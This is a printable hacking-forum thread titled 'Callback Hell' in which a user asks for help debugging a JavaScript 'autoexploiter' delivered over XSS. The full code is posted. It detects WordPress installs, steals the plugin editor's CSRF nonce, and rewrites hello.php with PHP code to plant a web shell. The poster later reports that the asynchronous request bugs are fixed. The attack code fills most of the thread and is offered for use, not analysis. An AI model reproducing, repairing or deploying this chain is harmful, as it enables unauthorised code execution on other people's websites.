Sinisterly
Callback Hell - Printable Version

+- Sinisterly (https://sinister.li)
+-- Forum: Coding (https://sinister.li/Forum-Coding)
+--- Forum: Coding (https://sinister.li/Forum-Coding--71)
+--- Thread: Callback Hell (/Thread-Callback-Hell)



Callback Hell - B!t - 12-02-2015

Hey,
i have a little problem with my code.
at the moment i am trying to do a autoexploiter over xss...
But somehow it wont work Sad
Code:
detectcms(); function attackWorpress(pathtowpinstallation){ var newdata='<?php echo 123456;?>'; var regExp = /_wpnonce" value="(.*?)"/; httpGet(pathtowpinstallation + "/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php",function(page){ var matches = regExp.exec(page); var csrftoken = matches[1]; httpPost(pathtowpinstallation + "/wp-admin/plugin-editor.php", "_wpnonce=" + csrftoken + "&_wp_http_referer=" + pathtowpinstallation + "/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php&newcontent=" + newdata + "&action=update&file=hello.php&plugin=hello.php&scrollto=0&submit=Update+File",function(done){ httpGet(pathtowpinstallation + "/wp-content/plugins/hello.php",function(content){ console.log("shell at : " + pathtowpinstallation + "/wp-content/plugins/hello.php") }); }); }); } function detectcms(){ var paths=["/","/wp/","/wordpress/","/blog/"]; for(var i=0;i<paths.length;i++){ httpGet("http://"+document.domain+paths[i]+"license.txt",function(data){ if(data.indexOf("wordpress")!=-1){ attackWorpress("http://"+document.domain+paths[i]); } }); } } function httpPost(theUrl, post,func){ var xmlHttp = null; xmlHttp = new XMLHttpRequest(); xmlHttp.open("POST",theUrl,false); xmlHttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlHttp.onreadystatechange = function() { if (xmlHttp.readyState == 4) { func(xmlHttp.responseText); } } xmlHttp.send(post); } function httpGet(theUrl,func){ var xmlHttp = new XMLHttpRequest(); xmlHttp.onreadystatechange = function() { if (xmlHttp.readyState == 4) { func(xmlHttp.responseText); } } xmlHttp.open("GET",theUrl,true); xmlHttp.send(null); }
if somebody could take a look i would be really happy.
Smile
Regards B!t


RE: Callback Hell - The Real Slim Shady - 12-02-2015

You need to post a fucking problem! "It somehow doesnt work" doesn't mean fuck all. what doesnt work?? is there an error message?? does it not do something specific that you expect it to do?? What's going on specifically??


RE: Callback Hell - B!t - 12-02-2015

Ok,
the problem is the function
Code:
httpGet(pathtowpinstallation + "/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php",function(page){
somehow it wont run further, the regex filter say's the matches are zero and if i try to write the page content in in console or on the page the whole programm freeze.

Maybe just too many asynchrone stuff there.


RE: Callback Hell - B!t - 12-03-2015

Ok i was able to fix the issue at my own Smile
the problem was at the httpGet function and at the httpPost function because some urls are wrong (asynchrone stuff).